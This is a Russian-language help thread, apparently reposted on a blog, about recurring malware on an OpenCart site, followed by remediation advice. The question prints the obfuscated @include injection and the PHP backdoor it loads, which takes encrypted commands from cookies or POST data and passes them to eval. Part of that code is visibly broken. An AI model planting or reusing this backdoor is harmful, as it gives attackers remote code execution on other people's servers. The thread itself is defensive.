Страницы

Поиск по вопросам

вторник, 26 ноября 2019 г.

Как удалить вредоносный код из сайта


Здравствуйте. Недавно начал замечать, что при открытии моего сайта идет редирек
на какой то рекламный сайт. Начал смотреть свой код, в index.php нашел строку такого вида:

/*1d3ec*/

@include "\x2fhom\x65/ab\x6din/\x64oma\x69ns/\x68***\x61**\x65/pu\x62lic\x5fhtm\x6c/vq\x6dod/\x76qca\x63he/\x66avi\x63on_\x3786a\x34f.i\x63o";

/*1d3ec*/


когда убрал лишнее, получился путь к какому то файлу:

home/admin/domains/домен_сайта/public_html/vqmod/vqcache/favicon_786a4f.ico


Нашел этот файл, открываю его, а там:



Ну ладно думаю, код удалил из index.php, файл тоже.. на следующий день появился новы
код в этом же стиле и новый файл, только в другой папке. Как очистить сайт от этой заразы?

Движок: Опенкарт 2.1.0.1

Из модулей установлены только: Marketplace, Ajax Product Page Loader, [OCJazz] SeoPro, uLogin - панель.
Модификаторы: Local copy OCMOD by iSenseLabs, Easy Blog Simple for oc2011+.

Пароль к хостингу изменил, атрибуты для файла index.php сделал "только чтение", не помогло. Возможно кто то сталкивался с таким. Спасибо что дочитали до конца!

UPD: Вирус до сих пор остался, чистил уже много раз. Решил посмотреть что кроетс
внутри вредоносного кода, прошу помощи тех кто сможет понять где дыра из кода ниже, так как сам знаком с PHP не более года.

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);

$data = NULL;
$data_key = NULL;

$GLOBALS['cs_auth'] = 'aad641a4-4dd3-47a3-981c-7dfb1725ccd9';
global $cs_auth;


if (!function_exists('file_put_contents'))
{
    function file_put_contents($n, $d, $flag = False)
    {
        $mode = $flag == 8 ? 'a' : 'w';
        $f = @fopen($n, $mode);
        if ($f === False)
        {
            return 0;
        }
        else
        {
            if (is_array($d)) $d = implode($d);
            $bytes_written = fwrite($f, $d);
            fclose($f);
            return $bytes_written;
        }
    }
}

if (!function_exists('file_get_contents'))
{
    function file_get_contents($filename)
    {
        $fhandle = fopen($filename, "r");
        $fcontents = fread($fhandle, filesize($filename));
        fclose($fhandle);

        return $fcontents;
    }
}
function cs_get_current_filepath()
{
    return trim(preg_replace("/\(.*\$/", '', __FILE__));
}

function cs_decrypt_phase($data, $key)
{
    $out_data = "";

    for ($i=0; $i$pcontent)
    {
        if ($name)
        {
            if (strcmp($name, $pname) == 0)
            {
                eval($pcontent);
                break;
            }
        }
        else
        {
            eval($pcontent);
        }
    }
}

foreach ($_COOKIE as $key=>$value)
{
    $data = $value;
    $data_key = $key;
}

if (!$data)
{
    foreach ($_POST as $key=>$value)
    {
        $data = $value;
        $data_key = $key;
    }
}

$data = @unserialize(cs_decrypt(base64_decode($data), $data_key));

if (isset($data['ak']) && $cs_auth==$data['ak'])
{
    if ($data['a'] == 'i')
    {
        $i = Array(
            'pv' => @phpversion(),
            'sv' => '2.0-1',
            'ak' => $data['ak'],
        );
        echo @serialize($i);
        exit;
    }
    elseif ($data['a'] == 'e')
    {
        eval($data['d']);
    }
    elseif ($data['a'] == 'plugin')
    {
        if($data['sa'] == 'add')
        {
            cs_plugin_add($data['p'], $data['d']);
        }
        elseif($data['sa'] == 'rem')
        {
            cs_plugin_rem($data['p']);
        }
    }
    echo $data['ak'];

}

cs_plugin_load();
}


UPD 2:
Посмотрел только что логи по одному из сайтов и вот что там


    


Ответы

Ответ 1



Начнем с простых истин. Вирус - это какая-то программа, которая где-то находитс и делает что-то такое, что приводит к ее размножению. Каким-то образом вирус попадает к вам на сервер. Это может быть дырка в используемо софте на сервере (и далеко не факт, что виноват Опенкарт, тем более, совершенно не важно лицензионные копии ли там используются), софте хостера, вашем хосте, откуда вы управляете сайтом. И используя эту дырку, вредоносный код получает доступ туда, куда по идее, иметь доступ не должен. И, получив доступ, вирус, как правило, размножается дальше. Ему не важно, где и какими лицензиями вы работаете, сколько сайтов хостите и т.д., он будет рассеивать себя везде, куда сможет дотянуться. Поэтому если у вас только 1 дырявый файлик, то под угрозой все, что есть на сервере вместе взятое. Как быть: починить последствия, сделать бекап, если часто повторяется - накатыват бекап автоматически, хоть каждый час. В деле поиска измененных файлов хорошую помощь сыграют утилиты find, grep, mc. Но это не лечение болезни, а лечение симптома. Как ловить: для начала попробовать локализовать проблему. Выключить на сайте все кроме, скажем, веб-сервера. Т.е. если есть ФТП-сервер - затушить его так, что даже в не сможете войти, аналогично с почтой, ssh, прочими сервисами, что слушают не 127.0.0.1. Если чудеса продолжаются - тушим веб-сервер (сайт будет лежать), но включаем FTP и все остальное и снова ждем чудес. Если и после этого чудеса продолжаются, то скорее всего виноват или кривой хостер, или у вас комплексная проблема. Обнаружив источник проблемы, пытаемся локализовать проблему более точно. Если чудес при включенном веб-сервере, то настраиваем веб-сервер на ведение подробнейших лого и пишем их куда-то в нестандартное место, а лучше сразу сливать на удаленный хост. Когда начнутся чудеса, то смотреть логи, где-то там будет что-то интересное и необычное. Вот это необычное и есть дырка. Если дырка за пределами веб-сервера, то можно попробовать использовать тяжелую артилери вроде tcpdump, рано или поздно животинка попадется. Тут главное запастись большим объемом диска. Если и тут животинка не попадется, то вас имеет хостер, ну или где-то на предыдущих пунктах она прошла незамеченной. А найдя дырку, уже известно что исправлять/обновлять и никакого гадания на открыто гуще. Как правило, хорошим тоном будет сообщить авторам о дырке в их софте, они эт постараются починить (если авторы являются нашими соотечественниками, то кроме хамства и угроз в ответ ничего не получите) в кратчайшие сроки и выслать вам исправленную версию. Конечно, такое сафари плохо совместимо с нормальной работой сайта, но это весел и даст результат.

Ответ 2



Вообще, причиной всего этого является 100% не этот найденный вами файл. С подобным скриптами сталкивался не раз, но на Wordpress (отчего его и недолюбливаю). Суть та примерно такая - один раз находится дырка в вашем сайте (скорее всего просто подобрал ftp пароль), затем заливается обычный файл, предоставляющий доступ к редактировани файлов (есть какой-то легковесный редактор файлов, там буквально 40-50 строчек, даже пароля не просит), а затем уже все "грязные" скрипты заливаются через него, так что искать вам надо именно такой файл. Открывать AccessLog и смотреть к каким файлам обращаются. Антивирусы хостингов (тем более Касперского, т.к. он не ориентирован на php) этот файл не распознают как вирусный, т.к. он вполне логичен - т.к. там никаких кракозябр, preg_replace и прочего.

Ответ 3



Думаю, первое, что нужно сделать на время ремонта - это просканировать сканером уязвимости, хотя бы тулзой Nikto. https://www.youtube.com/watch?v=U9FQlZDtPV4 Далее сменить все ключи, абсолютно все управляющие ключи. Написать хостеру о проблем если хостинг, если VDS просканировань систему и понять насколько все плохо. Если руткит или червь, менять сервер. В этом помогут логи, и команды grep,find и top. После переезда и закрытия сайта начать чистить код, в идеале сделать образ и снимо состояния, провести скан уязвимостей, портировать образ на локаль и попробовать вытащит данные, после чистки закрыть уязвимость которую выдал CVE. Все это нужно сделать обязательно. Так как у вас простая проблема, вы чистите вирус, но не закрываете уязвимость. После того, как вы проделаете все это, советую поставить IDS/IPS. Самая известная: https://www.mcafee.com/ru/products/network-security-platform.aspx. Эта система позволит вам отследить, сделал ли это инсайдер. Так же советую регулярно делать обновления систем. Если система свежая, то советую написать об уязвимости её авторам.

Ответ 4



Пока лучшая, на мой взгляд, статья по лечению на хабре https://habrahabr.ru/post/188878/ С вероятностью 90% это заражение на уровне эксплуатации известных дырок в CMS. Есл CMS позволяет то лучше "экспорт всего" -> "новая установка cms со всеми патчами безопасности" -> "импорт всего". Но к сожалению такое редко возможно. Обычно я делаю так: Получение ssh доступа Смена всех остальных доступов (и временный бан всех привелигированых пользователей) Бекап логов и утягивание их к себе для анализа Весь сайт бекапим (обязательно что бы сохранялись даты и права) и желательно запихиваем в GIT Поиск shell сканерами и антивирусами в автоматическом режиме (только список shell или зараженных файлов) Поиск подозреваемых на shell по статье на хабре (только список) Поиск менявшихся файлов по дате, по логам (get запросы к shell остаются - надо искать по доступу к ним и по ip туда ходившим) Поиск различий между чистой CMS (давними копиями) и текущей версией Поиск точки заражения (к этому времени у нас полно информации и сделать это проще) Чистка с проверкой и фиксацией в GIT (или да же замена ядра CMS на не зараженное) Исправление уязвимости (обновлением CMS или bug fix) Правильная настройка логирования, прав на файлы и папки, бекапы, обновление ПО (если vps или железка), настройка автоматического сканера или антивируса. Смена всех доступов. Наблюдение за пациентом в течении некоторого времени (за 1 раз могли не все вычистить, или не было логов или не все нашли).

Комментариев нет:

Отправить комментарий